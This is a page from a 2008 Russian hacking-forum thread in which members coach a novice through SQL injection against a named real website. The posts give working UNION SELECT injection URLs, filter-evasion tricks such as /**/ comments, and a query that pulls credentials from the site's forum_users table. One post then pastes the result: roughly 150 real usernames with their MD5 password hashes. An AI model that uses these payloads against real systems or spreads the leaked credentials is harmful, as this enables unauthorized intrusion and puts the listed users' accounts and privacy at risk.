HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Обход фильтрации спецсимволов
   
Закрытая тема
Страница 2 из 3 < 1 2 3 >
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 21.11.2008, 01:20
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами: 10227206

Репутация: 2163
По умолчанию
судя по четвертому посту значение переменной не обрамляется ковычками => пост Ламоза
 

  #12  
Старый 21.11.2008, 01:31
Ghost0ff
Новичок
Регистрация: 18.11.2008
Сообщений: 28
С нами: 9198543

Репутация: 15
По умолчанию
какой то сайтег хитрожопый....
root=-1+union+select+1,2,3,4,5,6,7,8/* пробовал... он отображает коррекно главную страницу. но не показывает поля в которые вводить команды version() (в чем проблема?) и т.д. + не /* а -- вводить нужно. в первом случае отображает ошибку. root=1+and+1=0+union+select+1,2,3,4,5,6,7,8 -- так же отображает корректно.
%27 он заменяет на кавычку и опять такая трабла.
Последний раз редактировалось Ghost0ff; 21.11.2008 в 01:37..
 

  #13  
Старый 21.11.2008, 01:50
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами: 10692266

Репутация: 3486


По умолчанию
Думается мне что скуль слепая. Может выложишь нормальную ссылку на сайт?

PS /Ушёл спать, так что пусть другие напишут что то типа or ascii(substring(blablabla))) ...
 

  #14  
Старый 21.11.2008, 02:10
Ghost0ff
Новичок
Регистрация: 18.11.2008
Сообщений: 28
С нами: 9198543

Репутация: 15
По умолчанию
http://www.bastaone.com./?root=99999+union+select+1,2,3,4,5,6,7,8 --
 

  #15  
Старый 21.11.2008, 02:33
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию
http://www.bastaone.com/?root=99999%2B

http://www.bastaone.com./?root=99999/**/union/**/select/**/1,2,3,version(),5,6,7,8--
Последний раз редактировалось Pashkela; 21.11.2008 в 02:37..
 

  #16  
Старый 21.11.2008, 10:00
Ghost0ff
Новичок
Регистрация: 18.11.2008
Сообщений: 28
С нами: 9198543

Репутация: 15
По умолчанию
o_O у тебя на этих ссылках отображает версию? http://www.bastaone.com./?root=99999/**/union/**/select/**/1,2,3,version(),5,6,7,8-- опять корректно отображенная страница без версии базы. че за х ваще? объясните почему так. или дайте ссылко на объяснение...
 

  #17  
Старый 23.11.2008, 15:15
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию
Не там копали хех -)

http://www.bastaone.com/?root=5&page=64+union+select+1,2,3,4,version(),6,u ser(),8,9,10,11,12,13,14,15--&inner=1

-) Бедный бастер фанаты замучают....
 

  #18  
Старый 23.11.2008, 19:34
Hero1n
Новичок
Регистрация: 11.11.2008
Сообщений: 18
С нами: 9208900

Репутация: 17
По умолчанию
Цитата:
http://www.bastaone.com/?root=5&page=64+union+select+1,2,3,4,5,6,concat(us ername,char(58),user_password),8,9,10,11,12,13,14, 15+from+forum_users--&inner=1
Код:
5    admin:730e422673f0105793eede5fb1c42b65  
5    Алексей:3ca7105fa471cc89f7b336899ca30a2e  
5    Jozz:4fc5cdb7b63f4a7512176841dcebca19  
5    ckavaRODka:0d6ef8847a7380f80b78aff6425e64ea  
5    Destini:c68f1a64b81f32be5fd83587de848e89  
5    DVORIK:a00d7b5a8aefdb8cbe1c402a60273a0d  
5    Sky:faf74f937c6dfdfea81da7ee6d0bbb8d  
5    Юлька:ccddbfffda0c16fb9f68149cfbccad88  
5    Vov4ik:89d68f9f4ab5a9c568593d20f927af76  
5    лариса:e48ebf3189177fd7b511d3cec6408ec6  
5    Жига:6d071901727aec1ba6d8e2497ef5b709  
5    Zoe4ka:61d0e9df67bfa8832c7e7d0d63792e7d  
5    KaMaCyTpa:f80ef83da6197bc1c46a834dd8c26c4f  
5    velik:060ba65dc14587c139d9dcb60d9a44d9  
5    Катёна:54e93f09e95283f79e35124f829ca9de  
5    Митяй:6104df369888589d6dbea304b59a32d4  
5    SnuchyBuchy:c457d7ae48d08a6b84bc0b1b9bd7d474  
5    Noone:f97b8dcbe052c13074c2f2a952277fc5  
5    Анкин:6b10adae7e328e8b365550fc2f61227c  
5    ulya:af4bc53b7545caaf2f34c4e90d34b4fc  
5    basta:f80bf05527157a8c2a7bb63b22f49aaa  
5    НОГАНО:158f3069a435b314a80bdcb024f8e422  
5    Эда:92706ba4fd3022cede6d1610b17a0d2d  
5    L.Vi:e660e68e771872fb2f05378ccaea2b6e  
5    Гутлина:1d3cca3e378f43a9bccab79af121808c  
5    Ghetto Super Star:1330740effe2ee52774aaf0decf328ae  
5    SALOVA!:ab685911615418f8633cd73384646b52  
5    AliSe:fa61f827f0f5373133b11cc20d835a79  
5    IVa:5c506814bace1300aa77ff4cd6b73b0a  
5    fuck you spilberg:2e3a80da10aacc02cf495208a3268a1c  
5    Alex:03c5755cbc0e8c0481f7f25f33efa113  
5    A.NA:4297f44b13955235245b2497399d7a93  
5    sterva:af3406cdd87e3cf66ece71fbad522d82  
5    suchok:fb9b7b827badf920d746c82f3a0cbf23  
5    $ever:08c8caf8dce28055d29b8bc9dbd5ad2a  
5    Алина:388ec3e3fa4983032b4f3e7d8fcb65ad  
5    TERMINATOR:7110ec4a2c82816df161aca711a057db  
5    Чипа:7db03a453663db95803b9542966ffee6  
5    LYolYa:723fb8d47eb2b14b675ed9346b0381fb  
5    #ДрЯнЬ#:030c7f5a22216d6fc78e83e00f51fe5a  
5    JENNIFER:8e5aefd53a9d64a279d555cb1ba13a13  
5    ResPecT ME:a1db7fa4bb743987087e70a0f5a621c3  
5    Volchik:9a807e5eca3ae82014f0476dabe05283  
5    Strela:6009c24687d89ad0702c6c7735c251c7  
5    ella:fcea920f7412b5da7be0cf42b8c93759  
5    Юленька:4ca4f434da0ea97ebff27833d69728d3  
5    Варлам:8613985ec49eb8f757ae6439e879bb2a  
5    Kamy:48042b1dae4950fef2bd2aafa0b971a1  
5    КатЮсьКА:ed394d409df8071a35233f873f07ba4c  
5    Giorgio:294aacb96e50108fb1787bd4528835d3  
5    M.S.Dodge:dcddb75469b4b4875094e14561e573d8  
5    Fiory:e7a251c82efaf1e0ee7fde495c66a82d  
5    Vinch:66916250ae22e75dd17bd10a5d5f677e  
5    U$@@LE:a70c5250627f21285dbde3a99376bb58  
5    viva-LA-DIva:e8856cf8f5792f5b4a76afded716c2f2  
5    Suzanna:beb6b72231daafe7d913baa818a63f0c  
5    ika:c0cdd82ce092b01267bdd88a8bfbb1f4  
5    Basyk:76419c58730d9f35de7ac538c2fd6737  
5    ~Упавшая С Небес~:b0206347594d5ce170c77067364ddaf0  
5    Luxor:4843f31e89d46f78f0e2dd50d4d9ee25  
5    Бонита-21 Москва:17ed7aba0499d75a5194600b6cd7defe  
5    virus11:1b36ea1c9b7a1c3ad668b8bb5df7963f  
5    ~ nexm ~:f9b49c25ad05874058c4be423d36a997  
5    luu:424714cebb144b266bb0b31d5b88dbd9  
5    Валентина:86badf9077d7c1f28640969414b39505  
5    ar4IK:ca172848cbc21794bac4f7ba9333fa5f  
5    NiGGa:9078467720e4c507cddf535d1622b16a  
5    tomusya:6530b306e711eed33930984698b492da  
5    Nosfi:ac19f3852a283af00a9ef61c69f43458  
5    hulk:e9561703e5678dbcab918a834c78dfab  
5    Andramaha:8945b4cb1bfb8cb5c95c137fc60ed9a0  
5    Allegra:f1fdec0e3ad78b4cf66259c0e17128f5  
5    Natasha:c43f4d8386daed4c58d94d9b2a42449c  
5    Андрей:cc8e65d0394b48741c3fb03dd4944b5a  
5    G-SHOCK:2b313e5feca398c7b78a48b98edfeb91  
5    DREAM:1037c96b43f134cbe671cc74321c7214  
5    PlayBoy69:5fd105f14f44de91cd96bd84588da898  
5    ростовский BOY:ce91813b482cf3a49b35f59f1a7c25a9  
5    RossitA:241a0bbdb329b6862263e0a19c656b29  
5    Princes:b4ebf85a118e392830a9552b0954a5bb  
5    Lerone:c732df76cc30358d877b204bbd9e73e4  
5    kama:0a3f12916c24e0911233b799243e221a  
5    *@ntilop@*:011af761281cb5277da9dba275703960  
5    Михаил:06a99069624190873c962b3e7b230cd6  
5    ice-girl:060f63591e1ba28d19f5687396f7a2f1  
5    kaban125:8cf18079bbefc2660e1f37f4a9100b0e  
5    sitylad:4c7b2eab6d2f752c0180882083a200a1  
5    Lvizza:9be3ba23545dbbda6d7459f844fd666c  
5    VELVET:82e3409e4d94b9db847e62c45d4534cd  
5    ДжЕм:bd12ac0bfe1eab7a475343f317d9f5eb  
5    Баба Катя:df321578b4f5f132345d2e6b39743126  
5    Бамбуччка:96055f5b06bf9381ac43879351642cf5  
5    MK:91db1309c8c8d38dca977c27644912b9  
5    Sk1pp:4ba29b9f9e5732ed33761840f4ba6c53  
5    asy:bbca7418b856051882de30cbb8ce3c09  
5    DREAM-Girl!!!:))))):25df6ce392acc7c5e4e66925f428e7bb  
5    Nexus:eaab6f7ff8c29ca90220d8ae6a09edb7  
5    poker:ebf5f51b0775df54e87ddea074e7ae88  
5    alexey-r:e5313e2ea3c7200e2764a316da88d25b  
5    lacoste_white:f285bf9f80fca5b15baea117631339f8  
5    Carmen:5b9b17459081ced81feecc9918304d97  
5    Emptyfruit:402ea6dea3fc390ef7e931997d558ce8  
5    i love you:4d2775def483f7ccd974e2b0402d5a24  
5    Igor K.:9ef7676e4cde65a7e11d1856140ea7c4  
5    splash:c5d860297ec1ec34004a0c751c3c6645  
5    Ангелина:6ed48a86da35561c1aff5e1d862f24ea  
5    Sn1f:b5db3cc74cb951925103562eb054cbe3  
5    CanDy:a0f588a9df0e0fef670a4d6a6705380a  
5    Darth Fader:788783fab296aac49dfdd4db3fd4b54f  
5    Alinka:fbaefb2772f374ce1c8b4c4181a5a6dc  
5    Марина:0b617a90e7b9689f9e513140ae3ccf59  
5    Я та...:30e26659b71d435757b6a3cd4b0d4b38  
5    kpbIMka:ee684688acbea58a2f5b0e9dee342dea  
5    PaNs:75b9421e54f1b4eddc717730e93eb4b1  
5    Дмитрий:46f94c8de14fb36680850768ff1b7f2a  
5    M.T.I:32ac297dc14e134dc92109e880a25aaa  
5    Катюшка_61:bc2c34556fc4a782124fdf35c1663ffb  
5    ДашуNя:e9e6d1ae35817e860080f894d3844a92  
5    жорик:aa3ba9de689c6a61c010166624c60eae  
5    Helen:43677f48e4130d14717bf8b9066132fa  
5    Наська:dc513ea4fbdaa7a14786ffdebc4ef64e  
5    White-T:f5feb822f64b9e86ed424c39e67d39bd  
5    Диман:229b09a38fbc43bfc51f5b33f3d7dce3  
5    Luca:55fadfd036b568d4b2d5796ee444caa0  
5    KATE:65cba7f50e8edfce77e30729eedf5ed5  
5    Zloy:999817efdae8c2db95fbc6e27f5cee6e  
5    AKILO:52c69e3a57331081823331c4e69d3f2e  
5    Олеся:55c69f122cfa36ada103a654692c02d8  
5    girl_4_love:3172d1796f26a25ee4075c910bf06c71  
5    Екатерина:302285a2529c7059f225a3564c772701  
5    Blocker:96e79218965eb72c92a549dd5a330112  
5    Rey619:ff75efb9689d48c540f868f92aaab0bb  
5    Bit:b5807eca845b9cc321d3fb0cfa3ae528  
5    BRONX:1ccaeb5ead7346339145ac87018c784d  
5    Revinho:a2550eeab0724a691192ca13982e6ebd  
5    blackXS:48741484bee55181956ea5cdd04c6fdf  
5    Ritka:071481cec96947f1c4d15ff93ddc0ae7  
5    Trisha:8659f9810548e98d56d891e1f011b3a5  
5    FastLife:4de38b0cfc90c7eb6a9d1d4f10063ff6  
5    28:776c7dc9245377ecee01b36122cfe0bd  
5    Кристя:25d55ad283aa400af464c76d713c07ad  
5    Tonnique:243f6d66d577e4259a4da0529c41fac1  
5    ВиЛ:1d01a43f14c1483e428856f4c0133314  
5    CactuS-2k:25d55ad283aa400af464c76d713c07ad  
5    Din-Din1993:f6dcdb7f097ab663f0f8971e2c3e33df  
5    chilom:9475b0a31db2d7fe66e6e426a40b3213  
5    Keikko:b89dc80fb627dbdcfe7d8e03876985d8  
5    YouRun:467b617fec4d9fcb63505734ee224851  
5    kill:0f44670608731b2abb4e192b7e6796e2  
5    Стас:cd149777eb2f0c99f76692c7ca77f44f  
5    MiSSS_NeGaTiFFF:abeac23c42193c5a3602a932e8dcb5e6  
5    rino26:bd962670038a436c775c955f059f898f  
5    Ольга:aee0bbbfdc1a12efde9727c6b488dcc9
Последний раз редактировалось Hero1n; 23.11.2008 в 19:42..
 

  #19  
Старый 23.11.2008, 21:17
Ghost0ff
Новичок
Регистрация: 18.11.2008
Сообщений: 28
С нами: 9198543

Репутация: 15
По умолчанию
хм... ясно. Но вопрос. почему так и что за параметр inner=1. Дайте ссылку на источник или объясните пожалуйста что это и когда используется?
 

  #20  
Старый 23.11.2008, 22:03
Dobby007
Познающий
Регистрация: 07.09.2008
Сообщений: 55
С нами: 9302441

Репутация: 57
По умолчанию
Да ниче он не значит ты введи в адрессной строке:
http://www.bastaone.com/?root=5&page=64+union+sele%27ct+1,2,3,4,5,6,concat (username,ch%27ar(58),user_password),8,9,10,11,12, 13,14,15+from+forum_users--
Тебе тоже самое выдаст. Я вообще не знаю для чего его здесь влепили. Этот параметр (переменная) нужен самому серваку, а точнее PHP-скрипту для выдачи определенного текста или страницы.
Допустим есть PHP-скрипт index.php с кодом:
Код:
<?php
if ($_GET['inner']==1)
echo "inner=1";
else echo "inner не равно 1";
?>
В этом коде, если inner в адресной строке равен единице, то скрипт выдаст "inner=1", а если же inner будет равен другому значению то, соответственно, скрипт выдаст "inner не равно 1"
Надеюсь доходчиво объяснил...
 
Закрытая тема
Страница 2 из 3 < 1 2 3 >



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обход фильтрации onSubmit Herevef PHP 1 02.09.2008 08:00
обход фильтрации содержимого файла muse Уязвимости 14 26.06.2008 22:32
обход фильтрации запрещённых слов в MySql AFoST Уязвимости 15 07.05.2008 12:21
Обход регистрации в Invision Power Board v1.3 Final DeeIP Уязвимости CMS / форумов 1 10.04.2005 20:35



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.